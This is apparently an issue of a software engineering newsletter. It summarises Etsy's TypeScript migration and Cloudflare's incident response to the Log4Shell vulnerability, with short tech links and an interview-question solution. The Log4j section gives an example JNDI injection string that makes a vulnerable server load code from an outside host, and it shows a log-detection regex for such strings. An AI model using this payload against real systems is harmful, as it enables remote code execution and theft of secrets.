How Etsy Migrated to TypeScript
How Cloudflare responded to the Log4J incident. Etsy's process for migrating their massive monorepo to TypeScript. A review of Generics in Go. The science behind UI and how to think about design.
Hey Everyone,
Today we’ll be talking about
Etsy’s Migration to TypeScript
Etsy’s codebase is structured as a monorepo with tens of thousands of JavaScript files.
Etsy talks about the strategy they took for their migration (gradual migration, strict types, etc.)
The specific tooling Etsy engineers found useful when making the transition
The approach they took to onboard their engineering team (several hundred engineers) to TypeScript
How Cloudflare security responded to the Log4j vulnerability
The steps Cloudflare took after learning about the Log4Shell attack
How Cloudflare identified any potentially compromised systems and fixed them
The process of checking logs, network analytics and endpoints for any evidence that Cloudflare was previously compromised.
Plus, a couple awesome tech snippets on
Trying out Generics in Go - One of the biggest complaints of Go has been the lack of generics. Now, Go is adding generics in version 1.18. Mark Phelps tried them out and wrote a blog post on it.
The Science of Great UI - A great talk that delves into good design and the guidelines that you should be thinking about.
Conway’s Law - How the structure of your organization impacts your codebase
How an engineering manager at Reddit interviews candidates - Alex Golec leads the Advertiser Optimization team at Reddit. He wrote a great blog post where he talks about a technical interview question he used to ask candidates and the types of responses he got (and which response would get you the offer).
A fantastic (free) course by Google on CSS - A great course that provides an extremely comprehensive intro to CSS. The Box Model, Cascade, Inheritance, Flexbox & Grid, Gradients, Animations and more!
We also have a solution to our last coding interview question, plus a new question from Facebook.
Quastor Daily is a free Software Engineering newsletter sends out FAANG Interview questions (with detailed solutions), Technical Deep Dives and summaries of Engineering Blog Posts.
Etsy’s Journey to TypeScript
Salem Hilal is a software engineer on Etsy’s Web Platform team. He wrote a great blog post on the steps Etsy took to adopt TypeScript.
Here’s a summary
Etsy’s codebase is a monorepo with over 17,000 JavaScript files, spanning many iterations of the site.
In order to improve the codebase, Etsy made the decision to adopt TypeScript, a superset of JavaScript with the optional addition of types. This means that any valid JavaScript code is valid TypeScript code, but TypeScript provides additional features on top of JS (the type system).
Based on research at Microsoft, static type systems can heavily reduce the amount of bugs in a codebase. Microsoft researchers found that using TypeScript or Flow could have prevented 15% of the public bugs for JavaScript projects on Github.
Strategies for Adoption
There are countless different strategies for migrating to TypeScript.
For example, Airbnb automated as much of their migration as possible while other companies enable less-strict TypeScript across their projects, and add types to their code over time.
In order to determine their strategy, Etsy had to answer a few questions…
How strict do they want their flavor of TypeScript to be? - TypeScript can be more or less “strict” about checking the types in your codebase. A stricter configuration results in stronger guarantees of program correctness. TypeScript is a superset of JavaScript, so if you wanted you could just rename all your .js files to .ts and still have valid TypeScript, but you would not get strong guarantees of program correctness.
How much of their codebase do they want to migrate? - TypeScript is designed to be easily adopted incrementally in existing JavaScript projects. Again, TypeScript is a superset of JavaScript, so all JavaScript code is valid TypeScript. Many companies opt to gradually incorporate TypeScript to help developers ramp up.
How specific do they want the types they write to be? - How accurately should a type fit the thing it’s describing? For example, let’s say you have a function that takes in the name of an HTML tag. Should the parameter’s type be a string? Or, should you create a map of all the HTML tags and the parameter should be a key in that map (far more specific)?
Less Specific 
More Specific
Based on the previous questions, Etsy’s adoption strategy looked like
Make TypeScript as strict as reasonably possible, and migrate the codebase file-by-file.
Add really good types and really good supporting documentation to all of the utilities, components, and tools that product developers use regularly.
Spend time teaching engineers about TypeScript, and enable TypeScript syntax team by team.
To elaborate more on each of these points…
Gradually Migrate to Strict TypeScript
Etsy wanted to set the compiler parameters for TypeScript to be as strict as possible.
The downside with this is that they would need a lot of type annotations.
They decided to approach the migration incrementally, and first focus on typing actively-developed areas of the site.
Files that had reliable types were given the .ts file extension while files that didn’t kept the .js file extension.
Make sure Utilities and Tools have good TypeScript support
Before engineers started writing TypeScript, Etsy made sure that all of their tooling supported the language and that all of their core libraries had usable, well-defined types.
In terms of tooling, Etsy uses Babel and the plugin babel-preset-typescript that turns TypeScript into JavaScript. This allowed Etsy to continue to use their existing build infrastructure. To check types, they run the TypeScript compiler as part of their test suite.
Etsy makes heavy use of custom ESLint linting rules to maintain code quality.
They used the TypeScript ESLint project to get a handful of TypeScript specific linting rules.
Educate and Onboard Engineers Team by Team
The biggest hurdle to adopting TypeScript was getting everyone to learn TypeScript.
TypeScript works better the more types there are. If engineers aren’t comfortable writing TypeScript code, fully adopting the language becomes an uphill battle.
Etsy has several hundred engineers, and very few of them had TypeScript experience before the migration.
The strategy Etsy used was to onboard teams to TypeScript gradually on a team by team basis.
This had several benefits
Etsy could refine their tooling and educational materials over time. Etsy found a course from ExecuteProgram that was great for teaching the basics of TypeScript in an interactive and effective way. All members of a team would have to complete that course before they onboarded.
No engineer could write TypeScript without their teammates being able to review their code. Individual engineers weren’t allowed to write TypeScript code before the rest of their team was ready.
Engineers had plenty of time to learn TypeScript and factor it into their roadmaps. Teams that were about to start new projects with flexible deadlines were the first to onboard to TypeScript.
Quastor Daily is a free Software Engineering newsletter sends out FAANG Interview questions (with detailed solutions), Technical Deep Dives and summaries of Engineering Blog Posts.
Tech Snippets
Trying Out Generics in Go - Mark Phelps is a Staff Software Engineer at GitHub, working primarily with Go. One of the biggest criticisms of Go has been the lack of generics. With Go 1.18, you have support for generic code with type parameters. Mark Phelps wrote a great blog post with his first impressions.
The Science of Great UI - A good talk that delves into design and the guidelines that you should be thinking about.
Specific points mentioned are
Emphasis & Importance
Contrast & Readability
Proximity & Layout
Borders & Spacing
Fill & Corners
Conway’s Law - Conway’s Law is an adage that was created by the computer scientist Melvin Conway. The idea is that your organizational structure will heavily influence the structure of your system/codebase/product.
It’s a great adage to be aware of when you’re building systems.
Learn CSS - If you’re like me, you have to constantly google random bits of CSS that you’ve forgotten.
This is an awesome (free) CSS course by Google that goes through the Box Model, Selectors, Specificity, Inheritance, Flexbox, Grid, and all the other important concepts in CSS.
Reddit Interview Problems: The Game of Life - Alex Golec, an engineering manager at Reddit, goes through an interview problem he used to use to screen candidates. He talks about how he evaluated candidate responses to the question and why he thinks it’s a good question.
Funny enough, the question Alex goes through in this blog post is already published on LeetCode. You can view it here.
It might be interesting to try and solve the question yourself and see how far you can get before reading Alex’s solution (and evaluation criteria).
How Cloudflare Responded to the Log4j vulnerability
Earlier this month, there was a serious vulnerability found in the popular Java-based logging package Log4j 2.
You can read more about the vulnerability (called Log4Shell) here but basically if you pass a JNDI lookup (in the format ${jndi:ldap://site.com/bad}) into an application’s input and the application logs that with Log4j 2 then the logger will parse the JNDI expression and use LDAP to retrieve the object data from the provided site.
An attacker could use this to load and execute malicious code on the server or can retrieve sensitive data (like secret environment variables).
If you want to get a sense of how widespread this issue was, you could previously trigger this vulnerability in Apple’s servers by simply changing your iPhone’s name to a JNDI expression.
How CloudFlare Security Responded
Cloudflare was one of the (many) companies that was vulnerable to Log4Shell.
Rushil Shah and Thomas Calderon are two security engineers at Cloudflare and they wrote a great blog post on the process Cloudflare security uses to respond to these kinds of incidents.
The product security team took several steps in making sure Cloudflare was secure.
Address internal impact - Where are all the places in Cloudflare where the vulnerable software is running
Review external sources - Look at externally submitted reports (bug bounty programs, public GitHub repo issues, angry users on twitter, etc.) for possible compromises
Review logs for possible breaches - Was Cloudflare previously compromised by someone who used this exploit?
Addressing Internal Impact
An important question when dealing with any software vulnerability is where are all the places that the vulnerable software is running?
Determining this was quite difficult. Log4j is a widely used library but most developers who don’t use Java are unfamiliar with it.
Cloudflare’s first action was to figure out all the places in their infrastructure where they were running software on the JVM, in order to determine which components could be vulnerable to this issue.
They created a list of this using their centralized code repos and then looked at each individual Java application to check whether it contained Log4j (and which version of Log4j was compiled into it).
Cloudflare found that their ElasticSearch, LogStash and Bitbucket contained instances of the vulnerable Log4j package.
They immediately used the mitigation strategies described in the Log4j security documentation to patch the issue. Either removing the JndiLookup class from the classpath or setting the mitigating system property in the log4j configuration.
Reviewing External Sources
While the security team was building the internal list of components containing the vulnerable log4j library, they also looked at external reports from HackerOne, their bug bounty program, and public posts on GitHub.
They identified multiple reports posted online suggesting that Cloudflare was vulnerable and compromised, but they were unable to reproduce the issues listed in those reports.
The product security team believes that the issues reported were due to third party servers, not due to Cloudflare.
Read the full blog post for more details on this.
Was Cloudflare Attacked?
Although Cloudflare was running compromised versions of the software, security engineers at the company do not believe they were compromised by a malicious party.
In order to validate this, they reviewed internal data, network analytics and conducted endpoint analysis.
Reviewing Internal Data
Cloudflare looked at all the services that were vulnerable and analyzed their logs.
Log4Shell exploits rely on particular patterns, for example \$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+, so they performed a log analysis for those patterns.
Reviewing Network Analytics
Cloudflare analyzed their network data to see if there was anything indicative of an intrusion.
They looked for any suspicious inbound/outbound connections and also looked for network patterns that show up when Cloudflare is being targeted (based on past data Cloudflare has).
Reviewing Endpoints
By correlating their log analytics with their network analytics, Cloudflare engineers were able to craft endpoint scanning criteria to identify any additional potentially impacted systems and analyze individual endpoints for signs of compromise.
Using all of these approaches, engineers at the company found no evidence of compromise.
Read the full article for more details
Interview Question
You’re given an integer N as input.
Write a function that determines the fewest number of perfect squares that sum up to N.
Examples
Input - 16
Output - 1 (16 is a perfect square)
Input - 21
Output - 3 (1 + 4 + 16 = 21)
Quastor Daily is a free Software Engineering newsletter sends out FAANG Interview questions (with detailed solutions), Technical Deep Dives and summaries of Engineering Blog Posts.
Previous Solution
As a reminder, here’s our last question
You are given a binary tree in which each node contains an integer value. The integer value can be positive or negative.
Write a function that counts the number of paths in the binary tree that sum to a given value (the value will be provided as a function parameter).
The path does not need to start or end at the root or a leaf, but it must only go downwards.
Here’s the question in LeetCode
Solution
The brute force solution is to traverse the tree and calculate all the path sums for every node in the tree.
For each node in our traversal, we’ll set that node as the start of our path and then search that node’s children to find all the paths that sum to our target.
This makes our time complexity O(n^2).
We can reduce this if we add a hash table that functions as cache. Our hash table will keep track of the path sums that we’ve already come across (key) and the number of times that the path sum appeared (value).
We first create our cache (hash table) and initialize it with a path sum of 0 appearing 1 time, since the initial path sum is 0.
Then, we search our tree in a depth-first fashion.
For each node, we first calculate the current path sum by adding in our current node’s value.
Then, we check if (current path sum - target) exists in our cache of previous path sums. target is the value that was given as a parameter.
If it does, then that means that between the node(s) (where the path sum was (current path sum - target)) and our current node the path sum must be equal to target.
Therefore, we can take the value associated with that key (the value represents the number of times we’ve come across that path sum) and add it to an integer that represents our final answer (the number of paths that sum to the target).
Now, we can add the current path sum to our hash table (or increment it’s value if it already exists) and then we’ll recursively call our function on the node’s children.
After we search through the child trees, we have to recurse back up the current tree.
When we recurse up, we have to remove the current path sum from our cache. That’s because the nodes we’ll be visiting after will no longer contain the current path.
After iterating through all the nodes in the tree, we can return our final answer.
Here’s the Python code
Quastor Daily is a free Software Engineering newsletter sends out FAANG Interview questions (with detailed solutions), Technical Deep Dives and summaries of Engineering Blog Posts.